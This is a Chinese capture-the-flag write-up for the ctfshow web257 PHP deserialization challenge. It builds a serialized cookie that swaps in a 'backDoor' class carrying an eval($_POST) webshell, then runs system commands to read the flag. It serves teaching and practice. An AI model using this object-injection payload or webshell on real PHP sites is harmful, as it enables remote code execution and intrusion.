ctfshow-web257(反序列化)

本文探讨了PHP中的__destruct()魔术方法在对象销毁时的作用,通常用于资源释放。通过示例展示了如何在ctfShowUser类中利用__destruct()执行backDoor类的getInfo()方法,从而实现代码注入攻击。文章还提到了如何通过构造恶意cookie来触发这一过程,以及如何通过POST参数执行系统命令。
摘要由CSDN通过智能技术生成

__destruct() 是PHP面向对象编程的另一个重要的魔法函数,该函数会在类的一个对象被删除时自动调用。 

我们可以在该函数中添加一些释放资源的操作,比如关闭文件、关闭数据库链接、清空一个结果集等。其实,__destruct() 在日常的编码中并不常见,因为它是非必须的,是类的可选组成部分。通常只是用来完成对象被删除时的清理动作而已。

类中的getinfo()方法通常用于获取一些信息。(java的,php的没找到)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

加了很多类,逐个分析,ctfShowUser一定要,最后要login,info应该不能要,会为user赋值,就不能用user把需要的代码传入了,这里面没有与flag有关的代码,可能就要读取其中的文件了

backDoor中的code传入一句话木马(把ctfShowUser中的info改成backDoor)

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}


class backDoor{
    private $code='eval($_POST[value]);';
    public function getInfo(){
        eval($this->code);
    }
}
/*
class backDoor{
    private $code = 'system("cat ./flag.php");';
}
也可以这样
*/
echo(urlencode(serialize(new ctfShowUser)));
?username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A20%3A%22eval%28%24_POST%5Bvalue%5D%29%3B%22%3B%7D%7D

POST
value=system('tac flag.php');

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值